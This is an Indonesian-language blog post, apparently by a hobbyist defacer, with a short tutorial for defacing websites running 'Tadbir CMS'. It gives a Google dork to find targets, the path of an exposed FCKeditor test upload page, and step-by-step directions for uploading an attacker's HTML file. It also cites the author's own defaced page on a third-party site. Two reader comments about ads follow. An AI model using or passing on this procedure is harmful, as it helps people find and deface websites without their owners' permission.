simple tutor/exploit deface CMS upload file dri ane.....
__ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __
| Application Info:
| Name: Tadbir CMS
| Autor:Surabayag3tar
|__ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __
| Vulnerability Info:
| Type: Remote Arbitrary File Upload
| Risk: High
| Dork:coba2 aj...
| inurl:/editor/editor/
|
| Exploit:http://target.com/editor/
editor/filemanager/upload/test.html
|__ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __
dork diatas ^ isi kn d google, cri trget...klo dpt
inject kn exploit ny d atas....
jdinya.......
editor/editor/filemanager/upload/test.html
pada [Select the "File Uploader" to use: ] <----- pilih PHP
trus upload html kmu.....
klik send it to server, kalo sukses or terapload maka pada kotak [Uploaded File URL:] akan memberikan patch dmn file kmu terupload
ex yg kluar pada kotak [Uploaded File URL:] : /UserFiles/html_kamu.html
maka hasil nya ada di http://target.com/UserFiles/
html_kamu.html
mudah kn....hehehehehe
ex hasil ane : http://www.tysk.ee/failid/
Image/takbir.htm
silahkan d coba n mdah2an bsa d mengerti...... :D:D
By : Andre Pangestu
By : Andre Pangestu
kokkebanyakn iklan sekarang? :(
ReplyDelete@Naufaldi : demi kelangsungan blog gan, mohon maaf kalau terganggu ya,
ReplyDelete